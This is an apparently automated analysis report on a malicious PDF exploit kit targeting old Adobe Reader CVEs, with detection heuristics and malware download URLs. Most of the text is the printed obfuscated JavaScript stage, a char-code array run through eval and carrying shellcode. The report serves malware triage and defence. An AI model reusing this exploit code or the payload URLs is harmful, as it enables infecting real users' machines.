PDF malware analysis — malicious · b936f423d02a34e9

MALICIOUS

PDF

75.3 KB Created: 2009-11-10 19:41:34 Authoring application: PDF Library 1.6.7 (via PDF Library 7.5.2) First seen: 2015-09-21

MD5: 2d939500a826dd7f82ed53b7e6150687 SHA-1: a1f15ef0cf00b7a55da3753ff12d1b08291f0c97 SHA-256: b936f423d02a34e9fc3270838ee8078f488e5ca20abfa6b76df151d7c2f3e749

592 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. These exploits are designed to download and execute a second-stage payload. The presence of these specific CVEs and the embedded JavaScript strongly indicate a malicious exploit kit.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 14

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://mirroronerofive.com/sleep/achit2.exe Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/click.php?r=Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/hpsx2.exeReferenced by PDF JavaScript
- http://mirroronerofive.com/sleep/blrx2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38066 bytes
SHA-256: `16bb871c265ea9d9fc1d532a523b6faa721ad35deaea62289ec27a8dfaa2f2b5`
Preview script First 1,000 lines of the extracted script var njziag=true;dlnv=true;ikmv="ikmv";fjoprx="";deortu='';jkty=false;gjmqxy=54978;ucsze=true;var akwy='',dijkpx="",jmqw=true,dgmqv=false,hpwx=false,zfxdu=0,aefmp=String,hkxy=aefmp['fDrVoDmsCVhVaVrDCVoVdsex'.replace(/[xsD5V]/g,'')],fksuwy=String,zsemi=fksuwy['ezvTaBlB'.replace(/[BzXTA]/g,'')],ozpu="2",dehs="",bcfquy=[63,60,59,152,167,160,149,166,155,161,160,82,152,155,170,145,155,166,90,171,147,164,165,162,94,82,158,151,160,91,173,63,60,59,59,169,154,155,158,151,82,90,171,147,164,165,162,96,158,151,160,153,166,154,82,92,82,100,82,110,82,158,151,160,91,173,63,60,59,59,59,171,147,164,165,162,82,93,111,82,171,147,164,165,162,109,63,60,59,59,175,63,60,59,59,171,147,164,165,162,82,111,82,171,147,164,165,162,96,165,167,148,165,166,164,155,160,153,90,98,94,82,158,151,160,97,100,91,109,63,60,59,59,164,151,166,167,164,160,82,171,147,164,165,162,109,63,60,59,175,63,60,63,60,59,152,167,160,149,166,155,161,160,82,167,166,155,158,145,162,164,155,160,166,152,90,91,173,63,60,59,59,168,147,164,82,162,147,171,158,161,147,150,82,111,82,167,160,151,165,149,147,162,151,90,84,87,167,119,116,119,107,87,167,98,98,98,99,87,167,103,104,98,98,87,167,115,99,104,102,87,167,98,98,101,98,87,167,98,98,98,98,87,167,102,98,106,116,87,167,106,116,98,117,87,167,99,117,105,98,87,167,106,116,115,118,87,167,98,106,102,98,87,167,117,101,103,119,87,167,106,116,103,103,87,167,106,116,119,117,87,167,98,106,102,103,87,167,101,101,103,100,87,167,117,99,118,100,87,167,98,101,117,100,87,167,99,98,101,100,87,167,106,98,102,98,87,167,98,98,101,106,87,167,120,103,105,103,87,167,117,100,106,116,87,167,103,118,103,115,87,167,98,102,117,100,87,167,103,103,98,98,87,167,119,117,106,116,87,167,103,99,103,99,87,167,103,104,103,101,87,167,104,98,103,105,87,167,103,118,106,116,87,167,101,101,98,106,87,167,106,116,117,98,87,167,98,117,105,103,87,167,120,119,106,116,87,167,105,104,98,101,87,167,106,116,101,117,87,167,105,106,102,119,87,167,117,120,98,101,87,167,103,99,106,116,87,167,103,100,99,117,87,167,103,99,106,116,87,167,103,100,100,102,87,167,105,99,106,116,87,167,102,119,99,102,87,167,105,103,106,107,87,167,106,116,120,117,87,167,100,98,105,99,87,167,120,105,98,101,87,167,102,115,107,107,87,167,102,100,115,118,87,167,101,116,104,98,87,167,120,117,103,103,87,167,98,102,105,103,87,167,117,98,101,101,87,167,101,105,119,116,87,167,120,120,101,101,87,167,102,103,98,101,87,167,107,105,98,117,87,167,117,120,106,116,87,167,105,103,115,119,87,167,100,116,120,118,87,167,102,120,120,107,87,167,119,106,103,99,87,167,120,120,107,102,87,167,120,120,120,120,87,167,117,101,101,116,87,167,105,102,104,99,87,167,119,116,98,100,87,167,106,116,118,107,87,167,98,117,102,103,87,167,103,119,107,100,87,167,120,100,98,101,87,167,119,98,118,99,87,167,117,104,98,101,87,167,117,107,101,101,87,167,116,105,98,120,87,167,103,120,98,106,87,167,119,99,117,99,87,167,98,101,98,100,87,167,98,101,117,115,87,167,106,116,117,120,87,167,98,101,98,99,87,167,106,107,117,100,87,167,120,106,102,103,87,167,106,116,104,99,87,167,120,106,102,103,87,167,103,119,103,120,87,167,117,107,103,116,87,167,103,103,117,101,87,167,119,117,106,116,87,167,119,106,103,99,87,167,120,120,102,107,87,167,120,120,120,120,87,167,104,106,103,98,87,167,104,98,119,106,87,167,98,102,116,120,87,167,104,117,119,106,87,167,120,120,120,120,87,167,101,101,120,120,87,167,103,100,118,100,87,167,120,120,103,100,87,167,98,106,105,103,87,167,118,98,120,120,87,167,102,103,106,107,87,167,106,116,120,117,87,167,120,117,102,103,87,167,117,101,117,107,87,167,106,116,103,103,87,167,106,101,119,117,87,167,98,117,119,117,87,167,102,103,106,118,87,167,103,98,120,102,87,167,102,103,117,104,87,167,105,103,120,102,87,167,102,103,117,104,87,167,105,100,120,103,87,167,102,103,117,104,87,167,104,117,120,104,87,167,102,103,117,104,87,167,104,118,120,105,87,167,102,103,117,104,87,167,104,120,120,106,87,167,102,103,117,104,87,167,104,119,120,107,87,167,102,103,117,104,87,167,100,119,120,115,87,167,102,103,117,104,87,167,104,102,120,116,87,167,102,103,117,104,87,167,104,117,120,117,87,167,102,103,117,104,87,167,104,117,120,118,87,167,102,103,117,104,87,167,98,98,120,119,87,167,115,98,119,106,87,167,120,120,120,120,87,167,103,98,120,120,87,167,103,118,104,106,87,167,99,99,106,115,87,167,119,106,99,104,87,167,120,120,99,103,87,167,120,120,120,120,87,167,117,102,106,101,87,167,106,103,98,117,87,167,105,102,117,98,87,167,104,115,99,103,87,167,104,115,98,98,87,167,120,120,98,98,87,167,98,117,105,103,87,167,105,103,120,120,87,167,104,115,98,106,87,167,120,120,98,98,87,167,106,103,118,98,87,167,105,103,117,98,87,167,102,98,98,101,87,167,117,101,117,107,87,167,117,98,101,101,87,167,117,101,117,107,87,167,101,101,103,105,87,167,106,116,117,98,87,167,100,102,102,117,87,167,106,116,98,117,87,167,100,102,105,117,87,167,120,117,98,106,87,167,115,115,120,101,87,167,117,101,103,120,87,167,102,117,106,116,87,167,98,102,100,102,87,167,101,107,106,98,87,167,106,116,98,98,87,167,105,102,117,99,87,167,102,98,98,104,87,167,101,106,106,98,87,167,105,103,98,98,87,167,100,116,120,115,87,167,117,101,117,99,87,167,106,116,103,103,87,167,106,101,119,117,87,167,104,102,119,117,87,167,106,118,103,101,87,167,120,98,102,103,87,167,101,101,103,105,87,167,103,98,118,116,87,167,102,103,117,104,87,167,104,116,120,98,87,167,102,103,117,104,87,167,104,103,120,99,87,167,102,103,117,104,87,167,105,100,120,100,87,167,102,103,117,104,87,167,104,119,120,101,87,167,102,103,117,104,87,167,104,103,120,102,87,167,102,103,117,104,87,167,104,117,120,103,87,167,102,103,117,104,87,167,101,101,120,104,87,167,102,103,117,104,87,167,101,100,120,105,87,167,102,103,117,104,87,167,100,119,120,106,87,167,102,103,117,104,87,167,104,102,120,107,87,167,102,103,117,104,87,167,104,117,120,115,87,167,102,103,117,104,87,167,104,117,120,116,87,167,103,118,106,106,87,167,119,106,120,117,87,167,120,120,98,116,87,167,120,120,120,120,87,167,104,106,103,98,87,167,102,101,104,106,87,167,106,119,120,107,87,167,106,98,119,106,87,167,120,120,120,119,87,167,106,116,120,120,87,167,106,118,120,106,87,167,107,117,102,103,87,167,102,102,104,115,87,167,119,106,103,98,87,167,120,120,105,119,87,167,120,120,120,120,87,167,102,103,106,118,87,167,104,115,119,98,87,167,103,98,99,98,87,167,105,101,119,106,87,167,120,120,120,120,87,167,106,101,120,120,87,167,99,117,117,102,87,167,102,103,106,118,87,167,103,98,119,98,87,167,102,103,106,118,87,167,103,98,107,117,87,167,103,101,103,101,87,167,103,101,103,101,87,167,103,101,103,101,87,167,105,103,120,120,87,167,117,105,98,106,87,167,107,117,102,103,87,167,98,98,102,102,87,167,98,98,98,98,87,167,120,120,103,101,87,167,103,120,118,105,87,167,116,104,98,120,87,167,103,116,117,98,87,167,117,101,117,107,87,167,106,116,103,103,87,167,103,99,119,117,87,167,103,101,103,99,87,167,103,105,103,104,87,167,102,100,104,115,87,167,105,100,119,106,87,167,98,98,98,98,87,167,106,116,98,98,87,167,101,101,118,106,87,167,106,103,120,104,87,167,103,107,118,116,87,167,102,103,117,105,87,167,104,99,120,106,87,167,104,103,100,119,87,167,117,105,105,106,87,167,120,117,102,103,87,167,98,98,104,103,87,167,98,98,98,98,87,167,103,104,105,119,87,167,102,103,106,118,87,167,103,98,120,106,87,167,119,106,103,104,87,167,98,98,103,99,87,167,98,98,98,98,87,167,103,98,103,107,87,167,116,99,119,106,87,167,120,120,120,119,87,167,106,103,120,120,87,167,103,107,117,98,87,167,105,102,103,107,87,167,106,118,101,107,87,167,98,99,102,104,87,167,119,106,103,98,87,167,98,98,101,116,87,167,98,98,98,98,87,167,120,106,106,116,87,167,102,103,106,118,87,167,103,98,120,106,87,167,100,99,119,106,87,167,120,120,120,120,87,167,106,103,120,120,87,167,103,107,117,98,87,167,105,102,103,107,87,167,103,105,98,117,87,167,98,99,119,106,87,167,120,120,120,120,87,167,103,107,120,120,87,167,102,102,117,104,87,167,120,120,101,106,87,167,103,98,105,101,87,167,102,103,106,118,87,167,120,119,120,106,87,167,103,106,98,98,87,167,102,103,106,118,87,167,103,98,120,106,87,167,119,106,103,105,87,167,120,119,105,102,87,167,120,120,120,120,87,167,103,107,103,107,87,167,102,104,102,104,87,167,120,101,101,116,87,167,115,115,105,117,87,167,103,119,103,120,87,167,117,107,103,116,87,167,103,103,117,101,87,167,119,117,106,116,87,167,103,101,103,99,87,167,104,98,104,104,87,167,101,100,116,99,87,167,98,98,119,106,87,167,98,98,98,98,87,167,103,106,98,98,87,167,98,106,101,106,87,167,98,101,105,102,87,167,119,116,102,98,87,167,102,98,120,107,87,167,103,118,106,116,87,167,106,98,98,106,87,167,102,100,120,116,87,167,98,106,105,103,87,167,118,116,101,101,87,167,99,106,106,115,87,167,117,101,106,116,87,167,99,105,119,116,87,167,99,106,101,106,87,167,99,99,105,104,87,167,101,101,102,98,87,167,106,102,117,107,87,167,105,102,118,116,87,167,102,98,98,117,87,167,98,106,101,106,87,167,120,116,105,103,87,167,120,119,102,98,87,167,119,116,117,116,87,167,101,101,120,100,87,167,106,107,117,98,87,167,120,117,102,103,87,167,102,103,106,116,87,167,103,116,120,117,87,167,117,101,117,107,87,167,98,100,101,100,87,167,105,102,104,106,87,167,105,98,105,102,87,167,100,120,101,115,87,167,104,118,100,120,87,167,105,100,104,107,87,167,104,120,105,100,87,167,104,120,105,100,87,167,104,103,104,119,87,167,104,120,105,100,87,167,104,107,104,104,87,167,104,103,105,104,87,167,104,101,100,119,87,167,104,118,104,120,87,167,105,101,100,120,87,167,104,103,104,117,87,167,105,98,104,103,87,167,104,99,100,120,87,167,104,106,104,101,87,167,105,102,104,107,87,167,100,119,101,100,87,167,105,106,104,103,87,167,98,98,104,103,87,167,105,102,104,106,87,167,105,98,105,102,87,167,100,120,101,115,87,167,104,118,100,120,87,167,105,100,104,107,87,167,104,120,105,100,87,167,104,120,105,100,87,167,104,103,104,119,87,167,104,120,105,100,87,167,104,107,104,104,87,167,104,103,105,104,87,167,104,101,100,119,87,167,104,118,104,120,87,167,105,101,100,120,87,167,104,103,104,117,87,167,105,98,104,103,87,167,104,101,100,120,87,167,104,107,104,117,87,167,104,116,104,101,87,167,105,98,100,119,87,167,105,98,104,106,87,167,105,100,101,120,87,167,98,98,101,118,84,91,109,63,60,59,59,168,147,164,82,160,161,162,82,111,82,167,160,151,165,149,147,162,151,90,84,87,167,98,115,98,115,87,167,98,115,98,115,87,167,98,115,98,115,87,167,98,115,98,115,84,91,63,60,59,59,168,147,164,82,154,151,147,162,148,158,161,149,157,82,111,82,160,161,162,82,93,82,162,147,171,158,161,147,150,109,63,60,59,59,168,147,164,82,148,155,153,148,158,161,149,157,82,111,82,167,160,151,165,149,147,162,151,90,84,87,167,98,115,98,115,87,167,98,115,98,115,84,91,109,63,60,59,59,168,147,164,82,154,151,147,150,151,164,165,155,172,151,82,111,82,100,98,109,63,60,59,59,168,147,164,82,165,162,164,147,171,82,111,82,154,151,147,150,151,164,165,155,172,151,82,93,82,154,151,147,162,148,158,161,149,157,96,158,151,160,153,166,154,109,63,60,59,59,169,154,155,158,151,82,90,148,155,153,148,158,161,149,157,96,158,151,160,153,166,154,82,110,82,165,162,164,147,171,91,173,63,60,59,59,59,148,155,153,148,158,161,149,157,82,93,111,82,148,155,153,148,158,161,149,157,109,63,60,59,59,175,63,60,59,59,168,147,164,82,152,155,158,158,148,158,161,149,157,82,111,82,148,155,153,148,158,161,149,157,96,165,167,148,165,166,164,155,160,153,90,98,94,82,165,162,164,147,171,91,109,63,60,59,59,168,147,164,82,148,158,161,149,157,82,111,82,148,155,153,148,158,161,149,157,96,165,167,148,165,166,164,155,160,153,90,98,94,82,148,155,153,148,158,161,149,157,96,158,151,160,153,166,154,95,165,162,164,147,171,91,109,63,60,59,59,169,154,155,158,151,82,90,148,158,161,149,157,96,158,151,160,153,166,154,93,165,162,164,147,171,82,110,82,98,170,102,98,98,98,98,91,173,63,60,59,59,59,148,158,161,149,157,82,111,82,148,158,161,149,157,82,93,82,148,158,161,149,157,82,93,82,152,155,158,158,148,158,161,149,157,109,63,60,59,59,175,63,60,59,59,168,147,164,82,159,151,159,145,147,164,164,147,171,82,111,82,160,151,169,82,115,164,164,147,171,90,91,109,63,60,59,59,152,161,164,82,90,168,147,164,82,155,82,111,82,98,109,82,155,82,110,82,99,102,98,98,109,82,155,93,93,91,173,63,60,59,59,59,159,151,159,145,147,164,164,147,171,141,155,143,82,111,82,148,158,161,149,157,82,93,82,154,151,147,162,148,158,161,149,157,109,63,60,59,59,175,63,60,59,59,168,147,164,82,160,167,159,82,111,82,99,100,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,109,63,60,59,59,167,166,155,158,96,162,164,155,160,166,152,90,84,87,102,103,98,98,98,152,84,94,82,160,167,159,91,109,63,60,59,175,63,60,63,60,59,152,167,160,149,166,155,161,160,82,149,161,158,158,147,148,145,151,159,147,155,158,90,91,173,63,60,59,59,168,147,164,82,165,154,151,158,158,149,161,150,151,82,111,82,167,160,151,165,149,147,162,151,90,84,87,167,119,116,119,107,87,167,98,98,98,99,87,167,103,104,98,98,87,167,115,99,104,102,87,167,98,98,101,98,87,167,98,98,98,98,87,167,102,98,106,116,87,167,106,116,98,117,87,167,99,117,105,98,87,167,106,116,115,118,87,167,98,106,102,98,87,167,117,101,103,119,87,167,106,116,103,103,87,167,106,116,119,117,87,167,98,106,102,103,87,167,101,101,103,100,87,167,117,99,118,100,87,167,98,101,117,100,87,167,99,98,101,100,87,167,106,98,102,98,87,167,98,98,101,106,87,167,120,103,105,103,87,167,117,100,106,116,87,167,103,118,103,115,87,167,98,102,117,100,87,167,103,103,98,98,87,167,119,117,106,116,87,167,103,99,103,99,87,167,103,104,103,101,87,167,104,98,103,105,87,167,103,118,106,116,87,167,101,101,98,106,87,167,106,116,117,98,87,167,98,117,105,103,87,167,120,119,106,116,87,167,105,104,98,101,87,167,106,116,101,117,87,167,105,106,102,119,87,167,117,120,98,101,87,167,103,99,106,116,87,167,103,100,99,117,87,167,103,99,106,116,87,167,103,100,100,102,87,167,105,99,106,116,87,167,102,119,99,102,87,167,105,103,106,107,87,167,106,116,120,117,87,167,100,98,105,99,87,167,120,105,98,101,87,167,102,115,107,107,87,167,102,100,115,118,87,167,101,116,104,98,87,167,120,117,103,103,87,167,98,102,105,103,87,167,117,98,101,101,87,167,101,105,119,116,87,167,120,120,101,101,87,167,102,103,98,101,87,167,107,105,98,117,87,167,117,120,106,116,87,167,105,103,115,119,87,167,100,116,120,118,87,167,102,120,120,107,87,167,119,106,103,99,87,167,120,120,107,102,87,167,120,120,120,120,87,167,117,101,101,116,87,167,105,102,104,99,87,167,119,116,98,100,87,167,106,116,118,107,87,167,98,117,102,103,87,167,103,119,107,100,87,167,120,100,98,101,87,167,119,98,118,99,87,167,117,104,98,101,87,167,117,107,101,101,87,167,116,105,98,120,87,167,103,120,98,106,87,167,119,99,117,99,87,167,98,101,98,100,87,167,98,101,117,115,87,167,106,116,117,120,87,167,98,101,98,99,87,167,106,107,117,100,87,167,120,106,102,103,87,167,106,116,104,99,87,167,120,106,102,103,87,167,103,119,103,120,87,167,117,107,103,116,87,167,103,103,117,101,87,167,119,117,106,116,87,167,119,106,103,99,87,167,120,120,102,107,87,167,120,120,120,120,87,167,104,106,103,98,87,167,104,98,119,106,87,167,98,102,116,120,87,167,104,117,119,106,87,167,120,120,120,120,87,167,101,101,120,120,87,167,103,100,118,100,87,167,120,120,103,100,87,167,98,106,105,103,87,167,118,98,120,120,87,167,102,103,106,107,87,167,106,116,120,117,87,167,120,117,102,103,87,167,117,101,117,107,87,167,106,116,103,103,87,167,106,101,119,117,87,167,98,117,119,117,87,167,102,103,106,118,87,167,103,98,120,102,87,167,102,103,117,104,87,167,105,103,120,102,87,167,102,103,117,104,87,167,105,100,120,103,87,167,102,103,117,104,87,167,104,117,120,104,87,167,102,103,117,104,87,167,104,118,120,105,87,167,102,103,117,104,87,167,104,120,120,106,87,167,102,103,117,104,87,167,104,119,120,107,87,167,102,103,117,104,87,167,100,119,120,115,87,167,102,103,117,104,87,167,104,102,120,116,87,167,102,103,117,104,87,167,104,117,120,117,87,167,102,103,117,104,87,167,104,117,120,118,87,167,102,103,117,104,87,167,98,98,120,119,87,167,115,98,119,106,87,167,120,120,120,120,87,167,103,98,120,120,87,167,103,118,104,106,87,167,99,99,106,115,87,167,119,106,99,104,87,167,120,120,99,103,87,167,120,120,120,120,87,167,117,102,106,101,87,167,106,103,98,117,87,167,105,102,117,98,87,167,104,115,99,103,87,167,104,115,98,98,87,167,120,120,98,98,87,167,98,117,105,103,87,167,105,103,120,120,87,167,104,115,98,106,87,167,120,120,98,98,87,167,106,103,118,98,87,167,105,103,117,98,87,167,102,98,98,101,87,167,117,101,117,107,87,167,117,98,101,101,87,167,117,101,117,107,87,167,101,101,103,105,87,167,106,116,117,98,87,167,100,102,102,117,87,167,106,116,98,117,87,167,100,102,105,117,87,167,120,117,98,106,87,167,115,115,120,101,87,167,117,101,103,120,87,167,102,117,106,116,87,167,98,102,100,102,87,167,101,107,106,98,87,167,106,116,98,98,87,167,105,102,117,99,87,167,102,98,98,104,87,167,101,106,106,98,87,167,105,103,98,98,87,167,100,116,120,115,87,167,117,101,117,99,87,167,106,116,103,103,87,167,106,101,119,117,87,167,104,102,119,117,87,167,106,118,103,101,87,167,120,98,102,103,87,167,101,101,103,105,87,167,103,98,118,116,87,167,102,103,117,104,87,167,104,116,120,98,87,167,102,103,117,104,87,167,104,103,120,99,87,167,102,103,117,104,87,167,105,100,120,100,87,167,102,103,117,104,87,167,104,119,120,101,87,167,102,103,117,104,87,167,104,103,120,102,87,167,102,103,117,104,87,167,104,117,120,103,87,167,102,103,117,104,87,167,101,101,120,104,87,167,102,103,117,104,87,167,101,100,120,105,87,167,102,103,117,104,87,167,100,119,120,106,87,167,102,103,117,104,87,167,104,102,120,107,87,167,102,103,117,104,87,167,104,117,120,115,87,167,102,103,117,104,87,167,104,117,120,116,87,167,103,118,106,106,87,167,119,106,120,117,87,167,120,120,98,116,87,167,120,120,120,120,87,167,104,106,103,98,87,167,102,101,104,106,87,167,106,119,120,107,87,167,106,98,119,106,87,167,120,120,120,119,87,167,106,116,120,120,87,167,106,118,120,106,87,167,107,117,102,103,87,167,102,102,104,115,87,167,119,106,103,98,87,167,120,120,105,119,87,167,120,120,120,120,87,167,102,103,106,118,87,167,104,115,119,98,87,167,103,98,99,98,87,167,105,101,119,106,87,167,120,120,120,120,87,167,106,101,120,120,87,167,99,117,117,102,87,167,102,103,106,118,87,167,103,98,119,98,87,167,102,103,106,118,87,167,103,98,107,117,87,167,103,101,103,101,87,167,103,101,103,101,87,167,103,101,103,101,87,167,105,103,120,120,87,167,117,105,98,106,87,167,107,117,102,103,87,167,98,98,102,102,87,167,98,98,98,98,87,167,120,120,103,101,87,167,103,120,118,105,87,167,116,104,98,120,87,167,103,116,117,98,87,167,117,101,117,107,87,167,106,116,103,103,87,167,103,99,119,117,87,167,103,101,103,99,87,167,103,105,103,104,87,167,102,100,104,115,87,167,105,100,119,106,87,167,98,98,98,98,87,167,106,116,98,98,87,167,101,101,118,106,87,167,106,103,120,104,87,167,103,107,118,116,87,167,102,103,117,105,87,167,104,99,120,106,87,167,104,103,100,119,87,167,117,105,105,106,87,167,120,117,102,103,87,167,98,98,104,103,87,167,98,98,98,98,87,167,103,104,105,119,87,167,102,103,106,118,87,167,103,98,120,106,87,167,119,106,103,104,87,167,98,98,103,99,87,167,98,98,98,98,87,167,103,98,103,107,87,167,116,99,119,106,87,167,120,120,120,119,87,167,106,103,120,120,87,167,103,107,117,98,87,167,105,102,103,107,87,167,106,118,101,107,87,167,98,99,102,104,87,167,119,106,103,98,87,167,98,98,101,116,87,167,98,98,98,98,87,167,120,106,106,116,87,167,102,103,106,118,87,167,103,98,120,106,87,167,100,99,119,106,87,167,120,120,120,120,87,167,106,103,120,120,87,167,103,107,117,98,87,167,105,102,103,107,87,167,103,105,98,117,87,167,98,99,119,106,87,167,120,120,120,120,87,167,103,107,120,120,87,167,102,102,117,104,87,167,120,120,101,106,87,167,103,98,105,101,87,167,102,103,106,118,87,167,120,119,120,106,87,167,103,106,98,98,87,167,102,103,106,118,87,167,103,98,120,106,87,167,119,106,103,105,87,167,120,119,105,102,87,167,120,120,120,120,87,167,103,107,103,107,87,167,102,104,102,104,87,167,120,101,101,116,87,167,115,115,105,117,87,167,103,119,103,120,87,167,117,107,103,116,87,167,103,103,117,101,87,167,119,117,106,116,87,167,103,101,103,99,87,167,104,98,104,104,87,167,101,100,116,99,87,167,98,98,119,106,87,167,98,98,98,98,87,167,103,106,98,98,87,167,98,106,101,106,87,167,98,101,105,102,87,167,119,116,102,98,87,167,102,98,120,107,87,167,103,118,106,116,87,167,106,98,98,106,87,167,102,100,120,116,87,167,98,106,105,103,87,167,118,116,101,101,87,167,99,106,106,115,87,167,117,101,106,116,87,167,99,105,119,116,87,167,99,106,101,106,87,167,99,99,105,104,87,167,101,101,102,98,87,167,106,102,117,107,87,167,105,102,118,116,87,167,102,98,98,117,87,167,98,106,101,106,87,167,120,116,105,103,87,167,120,119,102,98,87,167,119,116,117,116,87,167,101,101,120,100,87,167,106,107,117,98,87,167,120,117,102,103,87,167,102,103,106,116,87,167,103,116,120,117,87,167,117,101,117,107,87,167,98,100,101,100,87,167,105,102,104,106,87,167,105,98,105,102,87,167,100,120,101,115,87,167,104,118,100,120,87,167,105,100,104,107,87,167,104,120,105,100,87,167,104,120,105,100,87,167,104,103,104,119,87,167,104,120,105,100,87,167,104,107,104,104,87,167,104,103,105,104,87,167,104,101,100,119,87,167,104,118,104,120,87,167,105,101,100,120,87,167,104,103,104,117,87,167,105,98,104,103,87,167,104,106,100,120,87,167,105,101,105,98,87,167,101,100,105,106,87,167,104,103,100,119,87,167,104,103,105,106,87,167,104,106,98,98,87,167,105,102,105,102,87,167,101,115,105,98,87,167,100,120,100,120,87,167,104,107,104,118,87,167,105,100,105,100,87,167,105,100,104,120,87,167,104,119,104,120,87,167,105,100,104,103,87,167,104,104,104,120,87,167,105,104,104,107,87,167,100,119,104,103,87,167,104,120,104,101,87,167,100,120,104,118,87,167,104,117,105,101,87,167,104,103,104,103,87,167,100,120,105,98,87,167,104,117,104,101,87,167,104,101,104,107,87,167,100,119,104,116,87,167,104,106,105,98,87,167,101,120,105,98,87,167,101,118,105,100,87,167,98,98,98,98,84,91,109,63,60,59,59,168,147,164,82,159,151,159,145,147,164,164,147,171,82,111,82,160,151,169,82,115,164,164,147,171,90,91,109,63,60,59,59,168,147,164,82,149,149,82,111,82,98,170,98,149,98,149,98,149,98,149,109,63,60,59,59,168,147,164,82,147,150,150,164,82,111,82,98,170,102,98,98,98,98,98,109,63,60,59,59,168,147,164,82,165,149,145,158,151,160,82,111,82,165,154,151,158,158,149,161,150,151,96,158,151,160,153,166,154,82,92,82,100,109,63,60,59,59,168,147,164,82,158,151,160,82,111,82,147,150,150,164,82,95,82,90,165,149,145,158,151,160,93,98,170,101,106,91,109,63,60,59,59,168,147,164,82,171,147,164,165,162,82,111,82,167,160,151,165,149,147,162,151,90,84,87,167,107,98,107,98,87,167,107,98,107,98,84,91,109,63,60,59,59,171,147,164,165,162,82,111,82,152,155,170,145,155,166,90,171,147,164,165,162